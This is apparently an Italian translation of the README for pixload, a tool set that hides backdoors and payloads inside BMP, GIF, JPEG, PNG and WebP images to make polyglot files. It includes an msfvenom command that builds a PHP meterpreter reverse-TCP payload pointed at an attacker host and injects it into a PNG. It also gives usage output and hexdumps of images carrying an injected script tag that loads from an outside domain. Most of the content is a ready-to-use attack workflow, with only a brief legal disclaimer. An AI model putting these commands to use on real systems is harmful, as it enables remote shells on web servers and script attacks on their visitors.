
Strumenti per la creazione/iniezione di payload nelle immagini
Insieme di strumenti per nascondere backdoor creare/iniettare payload nelle immagini.
I seguenti tipi di immagine sono attualmente supportati: BMP, GIF, JPG, PNG, WebP.
Riferimenti utili per comprendere meglio pixload e i suoi casi d'uso:
Se vuoi codificare un payload in modo tale che il blob binario risultante sia sia un valido shellcode x86 che un file immagine valido, ti consiglio di guardare qui e qui.
Se vuoi iniettare un payload metasploit, devi fare qualcosa del genere:
$ msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php
Modifica payload.php se necessario.
Inietta payload.php nell'immagine (ad es. png).
$ pixload-png --payload "$(cat payload.php)" payload.png
I seguenti moduli Perl sono richiesti:
GD
Image::ExifTool
String::CRC32
Su sistemi Debian-based installa questi pacchetti:
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl
Su FreeBSD e DragonFlyBSD installa questi pacchetti:
doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32
Su OSX fai riferimento a questa soluzione alternativa
(grazie a @iosdec).
make install
docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload
$ pixload-bmp --help
Usage: pixload-bmp [OPTION]... FILE
Nascondi Payload/Codice Maligno in immagini BMP.
Gli argomenti obbligatori per le opzioni lunghe sono obbligatori anche per quelle brevi.
-P, --payload STRING imposta il payload per l'iniezione
-v, --version stampa la versione ed esci
-h, --help stampa l'aiuto ed esci
Se il FILE di output esiste già, il payload verrà iniettato in questo file esistente. Altrimenti, verrà creato un nuovo file.
$ pixload-bmp payload.bmp
...... Creatore/Iniettore di Payload BMP ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generazione del file di output
[✔] File salvato in: payload.bmp
[>] Iniezione del payload in payload.bmp
[✔] Payload iniettato con successo
payload.bmp: PC bitmap, formato OS/2 1.x, 1 x 1 x 24, cbSize 10799, bit offset 26
00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 |BM/*............|
00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f |..............*/|
00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f |=1;<script src=/|
00000030 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f 73 |/example.com></s|
00000040 63 72 69 70 74 3e 3b |cript>;|
00000047
Vedi la pagina di manuale pixload-bmp(1) per ulteriori informazioni.
$ pixload-gif --help
Usage: pixload-gif [OPTION]... FILE
Nascondi payload/codice maligno in immagini GIF.
Gli argomenti obbligatori per le opzioni lunghe sono obbligatori anche per quelle brevi.
-W, --pixelwidth INTEGER (nessun effetto)
imposta la larghezza in pixel per la nuova immagine (predefinito: 10799)
-H, --pixelheight INTEGER imposta l'altezza in pixel per la nuova immagine (predefinito: 32)
-P, --payload STRING imposta il payload per l'iniezione
-v, --version stampa la versione ed esci
-h, --help stampa l'aiuto ed esci
L'opzione -W, --pixelwidth non ha effetto poiché pixload-gif riscrive i byte di larghezza pixel con i caratteri "/*", per preparare l'immagine gif poliglotta.
Se il FILE di output esiste già, il payload verrà iniettato in questo file esistente. Altrimenti, verrà creato un nuovo file con la larghezza in pixel specificata.
$ pixload-gif payload.gif
...... Creatore/Iniettore di Payload GIF ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generazione del file di output
[✔] File salvato in: payload.gif
[>] Iniezione del payload in payload.gif
[✔] Payload iniettato con successo
payload.gif: dati immagine GIF, versione 87a, 10799 x 32
00000000 47 49 46 38 37 61 2f 2a 20 00 80 00 00 04 02 04 |GIF87a/* .......|
00000010 00 00 00 2c 00 00 00 00 20 00 20 00 00 02 1e 84 |...,.... . .....|
00000020 8f a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 |................|
00000030 e2 48 96 e6 89 a6 ea ca b6 ee 0b 9b 05 00 3b 2a |.H............;*|
00000040 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d |/=1;<script src=|
00000050 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000060 73 63 72 69 70 74 3e 3b |script>;|
00000068
Vedi la pagina di manuale pixload-gif(1) per ulteriori informazioni.
$ pixload-jpg --help
Usage: pixload-jpg [OPTION]... FILE
Nascondi Payload/Codice Maligno in immagini JPEG.
Gli argomenti obbligatori per le opzioni lunghe sono obbligatori anche per quelle brevi.
-S, --section COM|DQT imposta la sezione per l'iniezione del payload
-P, --payload STRING imposta il payload per l'iniezione
-v, --version stampa la versione ed esci
-h, --help stampa l'aiuto ed esci
Se il FILE di output esiste già, il payload verrà iniettato in questo file esistente. Altrimenti, verrà creato un nuovo file.
$ pixload-jpg -S com payload.jpg
..... Creatore/Iniettore di Payload JPEG ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generazione del file di output
[✔] File salvato in: payload.jpg
[>] Iniezione del payload in COMMENTO
[✔] Payload iniettato con successo
payload.jpg: dati immagine JPEG, progressivo, precisione 8, 1x1, componenti 1
00000000 ff d8 ff fe 00 25 3c 73 63 72 69 70 74 20 73 72 |.....%<script sr|
00000010 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e |c=//example.com>|
00000020 3c 2f 73 63 72 69 70 74 3e ff db 00 43 00 01 01 |</script>...C...|
00000030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
*
00000060 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c2 |................|
00000070 00 0b 08 00 01 00 01 01 01 11 00 ff c4 00 14 00 |................|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e
$ pixload-jpg -S dqt payload.jpg
..... Creatore/Iniettore di Payload JPEG ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generazione del file di output
[✔] File salvato in: payload.jpg
[>] Iniezione del payload nella tabella DQT
[✔] Payload iniettato con successo
payload.jpg: dati immagine JPEG, progressivo, precisione 8, 1x1, componenti 1
00000000 ff d8 ff db 00 43 00 01 01 01 01 01 01 01 01 01 |.....C..........|
00000010 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
00000020 01 01 01 01 3c 73 63 72 69 70 74 20 73 72 63 3d |....<script src=|
00000030 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000040 73 63 72 69 70 74 3e ff c2 00 0b 08 00 01 00 01 |script>.........|
00000050 01 01 11 00 ff c4 00 14 00 01 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 03 ff da 00 08 01 01 |................|
00000070 00 00 00 01 3f ff d9 01 01 11 00 ff c4 00 14 00 |....?...........|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e
Vedi pixload-jpg(1) per ulteriori informazioni.
$ pixload-png --help
Usage: pixload-png [OPTION]... FILE
Nascondi Payload/Codice Maligno in immagini PNG.
Gli argomenti obbligatori per le opzioni lunghe sono obbligatori anche per quelle brevi.
-W, --pixelwidth INTEGER imposta la larghezza in pixel per la nuova immagine (predefinito: 32)
-H, --pixelheight INTEGER imposta l'altezza in pixel per la nuova immagine (predefinito: 32)
-P, --payload STRING imposta il payload per l'iniezione
-v, --version stampa la versione ed esci
-h, --help stampa l'aiuto ed esci
Se il FILE di output esiste già, il payload verrà iniettato in questo file esistente. Altrimenti, verrà creato un nuovo file con la larghezza in pixel specificata.
$ pixload-png payload.png
...... Creatore/Iniettore di Payload PNG ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generazione del file di output
[✔] File salvato in: payload.png
[>] Iniezione del payload in payload.png
[+] Dimensione chunk: 13
[+] Tipo chunk: IHDR
[+] CRC: fc18eda3
[+] Dimensione chunk: 9
[+] Tipo chunk: pHYs
[+] CRC: 952b0e1b
[+] Dimensione chunk: 25
[+] Tipo chunk: IDAT
[+] CRC: c8a288fe
[+] Dimensione chunk: 0
[+] Tipo chunk: IEND
[>] Inietta il payload nel nuovo chunk: 'pUnk'
[✔] Payload iniettato con successo
payload.png: dati immagine PNG, 32 x 32, RGB 8-bit/colore, non interlacciato
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 08 02 00 00 00 fc 18 ed |... ... ........|
00000020 a3 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |.....pHYs.......|
00000030 c4 01 95 2b 0e 1b 00 00 00 19 49 44 41 54 48 89 |...+......IDATH.|
00000040 ed c1 31 01 00 00 00 c2 a0 f5 4f ed 61 0d a0 00 |..1.......O.a...|
00000050 00 00 6e 0c 20 00 01 c8 a2 88 fe 00 00 00 00 49 |..n. ..........I|
00000060 45 4e 44 ae 42 60 82 00 00 00 00 00 00 00 00 00 |END.B`..........|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000c0 00 23 50 55 6e 4b 3c 73 63 72 69 70 74 20 73 72 |.#PUnK<script sr|
000000d0 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e |c=//example.com>|
000000e0 3c 2f 73 63 72 69 70 74 3e eb fd 2e 9f 00 49 45 |</script>.....IE|
000000f0 4e 44 |ND|
000000f2
Vedi la pagina di manuale pixload-png(1) per ulteriori informazioni.
$ pixload-webp --help
Usage: pixload-webp [OPTION]... FILE
Nascondi payload/codice maligno in immagini WebP.
Gli argomenti obbligatori per le opzioni lunghe sono obbligatori anche per quelle brevi.
-P, --payload STRING imposta il payload per l'iniezione
-v, --version stampa la versione ed esci
-h, --help stampa l'aiuto ed esci
Attualmente, non è possibile iniettare il payload in un'immagine WebP esistente. Verrà creata solo una nuova immagine WebP (minima) e il tuo payload verrà iniettato al suo interno. Se il FILE di output esiste già, il payload verrà iniettato nell'immagine esistente, ma questa immagine verrà corrotta.
$ pixload-webp payload.webp
..... Creatore/Iniettore di Payload WebP ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generazione del file di output
[✔] File salvato in: payload.webp
[>] Iniezione del payload in payload.webp
[✔] Payload iniettato con successo
payload.webp: dati RIFF (little-endian), immagine Web/P
00000000 52 49 46 46 2f 2a 00 00 57 45 42 50 56 50 38 4c |RIFF/*..WEBPVP8L|
00000010 ff ff ff 00 2f 00 00 00 10 07 10 11 11 88 88 fe |..../...........|
00000020 07 00 2a 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 |..*/=1;<script s|
00000030 72 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d |rc=//example.com|
00000040 3e 3c 2f 73 63 72 69 70 74 3e 3b |></script>;|
0000004b
Vedi la pagina di manuale pixload-webp(1) per ulteriori informazioni.
Licenza WTFPL versione 2. Vedi LICENSE per ulteriori informazioni.
L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento, ricorda che attaccare bersagli senza previo consenso è illegale e punito dalla legge.
BTC: bc1qj4g98svq6qh3q2ap37v52nsvusa76c3cnmcdmx
PAYPAL: [email protected]
Molto apprezzate.